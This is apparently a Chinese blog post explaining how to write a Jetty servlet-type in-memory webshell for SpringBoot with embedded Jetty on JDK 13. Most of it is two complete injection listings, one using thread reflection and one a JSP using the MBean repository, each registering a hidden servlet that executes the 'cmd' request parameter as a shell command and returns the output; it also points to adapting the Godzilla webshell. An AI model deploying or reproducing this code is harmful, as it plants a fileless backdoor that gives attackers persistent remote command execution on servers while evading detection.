高版本jdk下jetty servlet型内存马编写

本文探讨了在SpringBoot + embedded Jetty 9.4.48.v20220622及JDK 13环境下,如何编写Jetty Servlet型内存马。主要介绍了两种方法:1) 通过request获取webappcontext,包括传统方式和通过Thread获取WebAppClassLoader;2) 通过MBean获取webappcontext时遇到的问题及其解决方法。同时提到了参考文献用于深入研究。

测试环境为springboot + embeded jetty jetty-9.4.48.v20220622,jdk为13。

jetty内存马的研究类同于tomcat,获取webappcontext通常有两种方式:

一、通过request获取

传统方式是在有request对象时,通过它获取webappcontext对象

在这里插入图片描述
可以看到得到的对象为webappcontext类中嵌入类context(该类不能在系统初始化完成之后再添加listener、filter和servlet。

还有一种方法是通过Thread类获取thread对象,看能不能找到WebAppClassLoader,从而获取webappcontext对象。

在这里插入图片描述
classloader不为空的都是appclassloader,并没有webappclassloader。但是在非嵌入式jetty中确含有webappclassloaer(有兴趣的小伙伴可以分析一下具体原因)。

在这里插入图片描述
在获取了webappclassloader的基础上很容易就能够写出内存马。

        String servletName = "shell";
        String urlPattern = "/shell";

        Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");
        threadMethod.setAccessible(true);
        Thread[] threads = (Thread[]) threadMethod.invoke(null);
        ClassLoader threadClassLoader = null;
        for (Thread thread : threads) {
            threadClassLoader = thread.getContextClassLoader();
            if (threadClassLoader != null) {
                
                if (threadClassLoader.toString().contains("WebAppClassLoader")) {
                    Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context");
                    fieldContext.setAccessible(true);
                    Object webAppContext = fieldContext.get(threadClassLoader);
                    Field fieldServletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
                    fieldServletHandler.setAccessible(true);
                    Object servletHandler = fieldServletHandler.get(webAppContext);

                    //check servlet if exist
                    Field fieldServlets = servletHandler.getClass().getDeclaredField("_servlets");
                    fieldServlets.setAccessible(true);
                    Object[] servlets = (Object[]) fieldServlets.get(servletHandler);
                    boolean flag = false;
                    for (Object servlet : servlets) {
                        Field fieldName = servlet.getClass().getSuperclass().getDeclaredField("_name");
                        fieldName.setAccessible(true);
                        String name = (String) fieldName.get(servlet);
                        if (name.equals(servletName)) {
                            flag = true;
                            break;
                        }
                    }

                    if (flag) {
                        return "[-] inject fail, servlet " + servletName + " exists.";
                    }

                    ClassLoader classLoader = servletHandler.getClass().getClassLoader();
                    Class sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source");

                    Field fieldJavax = sourceClazz.getDeclaredField("JAVAX_API");
                    Method method = servletHandler.getClass().getMethod("newServletHolder", sourceClazz);
                    Object holder = method.invoke(servletHandler, fieldJavax.get(null));
                    holder.getClass().getMethod("setName", String.class).invoke(holder, servletName);
                    Servlet servlet = new Servlet() {
                        @Override
                        public void init(ServletConfig servletConfig) throws ServletException {

                        }

                        @Override
                        public ServletConfig getServletConfig() {
                            return null;
                        }

                        @Override
                        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
                            String cmd = servletRequest.getParameter("cmd");
                            boolean isLinux = true;
                            String osTyp = System.getProperty("os.name");
                            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                                isLinux = false;
                            }
                            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                            Scanner s = new Scanner(in).useDelimiter("\\a");
                            String output = s.hasNext() ? s.next() : "";
                            PrintWriter out = servletResponse.getWriter();
                            out.println(output);
                            out.flush();
                            out.close();
                        }

                        @Override
                        public String getServletInfo() {
                            return null;
                        }

                        @Override
                        public void destroy() {

                        }
                    };
                    holder.getClass().getMethod("setServlet", Servlet.class).invoke(holder, servlet);
                    servletHandler.getClass().getMethod("addServlet", holder.getClass()).invoke(servletHandler, holder);

                    Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping");
                    Object servletMapping = clazz.getDeclaredConstructor(sourceClazz).newInstance(fieldJavax.get(null));
                    servletMapping.getClass().getMethod("setServletName", String.class).invoke(servletMapping, servletName);
                    servletMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(servletMapping, new Object[]{new String[]{urlPattern}});
                    servletHandler.getClass().getMethod("addServletMapping", clazz).invoke(servletHandler, servletMapping);
                    return "[+] inject success, pleas check.";
                }
            }
        }

        return "[-] inject fail, WebAppClassLoader is not in threads.";

二、通过mbean获取

通过mbean获取webappcontext对象时,遇到了一些问题,比如按照参考文档[1]进行测试时,mbean需要去除modifer相关设置,否则会抛出错误。

在这里插入图片描述

修改后详细代码:

<%@ page import="com.sun.jmx.mbeanserver.*"%>
<%@ page import="javax.servlet.*"%>
<%@ page import="java.lang.reflect.*"%>
<%@ page import="java.util.Set,java.util.Scanner,java.io.*"%>
<%@ page import="javax.management.ObjectName"%>
<%@ page import="java.lang.management.ManagementFactory"%>

<%
try{
    String servletName = "myServlet1";
    String urlPattern = "/testservlet";

    JmxMBeanServer mBeanServer = (JmxMBeanServer) ManagementFactory.getPlatformMBeanServer();

    Field field = mBeanServer.getClass().getDeclaredField("mbsInterceptor");
    field.setAccessible(true);
    Object obj = field.get(mBeanServer);

    field = obj.getClass().getDeclaredField("repository");
    field.setAccessible(true);
    Repository repository = (Repository)field.get(obj);

    Set<NamedObject> namedObjectSet = repository.query(new ObjectName("org.eclipse.jetty.webapp:type=webappcontext,*"), null);
    for(NamedObject namedObject : namedObjectSet){
        try{
            field = namedObject.getObject().getClass().getSuperclass().getSuperclass().getDeclaredField("_managed");
            field.setAccessible(true);
            Object webAppContext = field.get(namedObject.getObject());

            field = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
            field.setAccessible(true);
            Object handler = field.get(webAppContext);

            field = handler.getClass().getDeclaredField("_servlets");
            field.setAccessible(true);
            Object[] objects = (Object[]) field.get(handler);

            boolean flag = false;
            for(Object o : objects){
                field = o.getClass().getSuperclass().getDeclaredField("_name");
                field.setAccessible(true);
                String name = (String)field.get(o);
                if(name.equals(servletName)){
                    flag = true;
                    out.println("[-] exist servlet");
                    return;
                }
            }

            if(!flag){
               out.println("[+] Add Dynamic Servlet");

                ClassLoader classLoader = handler.getClass().getClassLoader();
                Class sourceClazz = null;
                Object holder = null;
                try{
                    sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source");
                    field = sourceClazz.getDeclaredField("JAVAX_API");
                    Method method = handler.getClass().getMethod("newServletHolder", sourceClazz);
                    holder = method.invoke(handler, field.get(null));
                }catch(ClassNotFoundException e){
                    sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source");
                    Method method = handler.getClass().getMethod("newServletHolder", sourceClazz);
                    holder = method.invoke(handler, Enum.valueOf(sourceClazz, "JAVAX_API"));
                }

                holder.getClass().getMethod("setName", String.class).invoke(holder, servletName);

                Servlet servlet = new Servlet() {
                    @Override
                    public void init(ServletConfig servletConfig) throws ServletException {
    
                    }
    
                    @Override
                    public ServletConfig getServletConfig() {
                        return null;
                    }
    
                    @Override
                    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
                        String cmd = servletRequest.getParameter("cmd");
                        boolean isLinux = true;
                        String osTyp = System.getProperty("os.name");
                        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                            isLinux = false;
                        }
                        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                        Scanner s = new Scanner(in).useDelimiter("\\a");
                        String output = s.hasNext() ? s.next() : "";
                        PrintWriter out = servletResponse.getWriter();
                        out.println(output);
                        out.flush();
                        out.close();
                    }
    
                    @Override
                    public String getServletInfo() {
                        return null;
                    }
    
                    @Override
                    public void destroy() {
    
                    }
                };

                holder.getClass().getMethod("setServlet", Servlet.class).invoke(holder, servlet);
                handler.getClass().getMethod("addServlet", holder.getClass()).invoke(handler, holder);


                Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping");
                Object servletMapping = null;
                try{
                    servletMapping = clazz.getDeclaredConstructor(sourceClazz).newInstance(field.get(null));
                }catch(NoSuchMethodException e){
                    servletMapping = clazz.newInstance();
                }

                servletMapping.getClass().getMethod("setServletName", String.class).invoke(servletMapping, servletName);
                servletMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(servletMapping, new Object[]{new String[]{urlPattern}});
                handler.getClass().getMethod("addServletMapping", clazz).invoke(handler, servletMapping);
                return;
            }
        }catch(Exception e){
            out.println(e.toString());
        }
    }
}catch(Exception e){
    out.println(e.toString());
}
%>

如果还需要内嵌哥斯拉内存马,可以参照文档[2]进行修改servlet。

参考

[1] feihong-cs memshell jetty servlet

[2] 解决哥斯拉内存马 pagecontext 的问题

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值